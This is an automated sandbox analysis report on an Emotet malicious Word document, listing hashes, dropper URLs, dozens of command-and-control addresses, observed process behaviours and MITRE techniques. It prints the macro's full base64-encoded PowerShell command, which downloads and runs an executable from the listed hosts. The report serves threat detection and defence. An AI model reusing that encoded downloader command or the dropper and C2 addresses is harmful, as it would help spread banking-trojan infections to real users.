emotet | 46f276ea771efe79258f6a6682609a682fc9fc03bc266902d526660e2d50a2d9

General

Target
I_MVO_070120_HHH_072320.doc
Size 172KB
Sample200724-k9de4wnk4e
SHA256 46f276ea771efe79258f6a6682609a682fc9fc03bc266902d526660e2d50a2d9
MD5 1f114da2937cafa181bf7140a3535147
SHA1 d8501218f7e294d65e4c72b881ef6d4fce5e3d8c
SHA512 ee5ddf4bc433f12d7a26550bc2581f935ab63b551ea8ad49c6aa885bba5cca20944ea111dfd498f2657ebc100e1b115dd444ae84b2c65d9f8abd585ed2d4ece4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/
exe.dropper
https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/
exe.dropper
http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
exe.dropper
http://holfve.se/images/1ckw5mj49w_2k11px_d/
exe.dropper
http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/

Extracted

Family

emotet

C2

94.49.254.194:80
212.51.142.238:8080
91.231.166.124:8080
162.241.92.219:8080
79.98.24.39:8080
109.117.53.230:443
78.189.165.52:8080
113.160.130.116:8443
121.124.124.40:7080
101.187.97.173:80
168.235.67.138:7080
104.131.44.150:8080
5.39.91.110:7080
139.59.60.244:8080
81.2.235.111:8080
116.203.32.252:8080
61.19.246.238:443
176.111.60.55:8080
190.55.181.54:443
108.48.41.69:80
203.153.216.189:7080
103.86.49.11:8080
104.236.246.93:8080
75.139.38.211:80
169.239.182.217:8080
62.75.141.82:80
93.156.165.186:80
73.11.153.178:8080
157.245.99.39:8080
41.60.200.34:80
50.116.86.205:8080
31.31.77.83:443
209.182.216.177:443
62.138.26.28:8080
95.213.236.64:8080
95.179.229.244:8080
209.141.54.221:8080
91.211.88.52:7080
173.91.22.41:80
222.214.218.37:4143
37.187.72.193:8080
137.59.187.107:8080
139.130.242.43:80
46.105.131.87:80
87.106.139.101:8080
200.55.243.138:8080
5.196.74.210:8080
79.7.158.208:80
185.94.252.104:443
104.131.11.150:443
37.139.21.175:8080
190.108.228.62:443
24.1.189.87:8080
91.205.215.66:443
186.208.123.210:443
108.26.231.214:80
201.173.217.124:443
110.145.77.103:80
190.160.53.126:80
162.154.38.103:80
78.24.219.147:8080
210.165.156.91:80
109.74.5.95:8080
95.9.185.228:443
93.51.50.171:8080
200.41.121.90:80
46.105.131.79:8080
124.45.106.173:443
74.208.45.104:8080
153.126.210.205:7080
87.106.136.232:8080
190.144.18.198:80

rsa_pubkey.plain

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
916	337.exe
916	337.exe
468	ffbroker.exe
468	ffbroker.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE

Blacklisted process makes network request 4 IoCs

flow	pid	Process
8	3352	powersheLL.exe
10	3352	powersheLL.exe
12	3352	powersheLL.exe
20	3352	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
916	337.exe
468	ffbroker.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3352	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 468	916	337.exe	76
PID 916 wrote to memory of 468	916	337.exe	76
PID 916 wrote to memory of 468	916	337.exe	76

Suspicious behavior: EmotetMutantsSpam 1 IoCs

pid	Process
468	ffbroker.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/916-8-0x0000000000590000-0x000000000059C000-memory.dmp	emotet
behavioral2/memory/468-11-0x0000000000650000-0x000000000065C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3352	3848	powersheLL.exe	68

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3352	powersheLL.exe
3352	powersheLL.exe
3352	powersheLL.exe
468	ffbroker.exe
468	ffbroker.exe
468	ffbroker.exe
468	ffbroker.exe
468	ffbroker.exe
468	ffbroker.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\elshyph\ffbroker.exe	337.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\I_MVO_070120_HHH_072320.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:720

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=
1⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:3352

C:\Users\Admin\337.exe
C:\Users\Admin\337.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:916
- C:\Windows\SysWOW64\elshyph\ffbroker.exe
  "C:\Windows\SysWOW64\elshyph\ffbroker.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  - Suspicious behavior: EmotetMutantsSpam
  - Suspicious behavior: EnumeratesProcesses
  PID:468

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/468-11-0x0000000000650000-0x000000000065C000-memory.dmp

Download

memory/468-12-0x0000000000400000-0x0000000000496000-memory.dmp

Download

memory/720-3-0x000001BAC904B000-0x000001BAC9050000-memory.dmp

Download

memory/720-4-0x000001BAC904B000-0x000001BAC9050000-memory.dmp

Download

memory/720-5-0x000001BAC8D3D000-0x000001BAC8D5D000-memory.dmp

Download

memory/720-2-0x000001BAC9050000-0x000001BAC9055000-memory.dmp

Download

memory/720-1-0x000001BAC9050000-0x000001BAC9055000-memory.dmp

Download

memory/720-0-0x000001BAC8D3D000-0x000001BAC8D5D000-memory.dmp

Download

memory/916-8-0x0000000000590000-0x000000000059C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads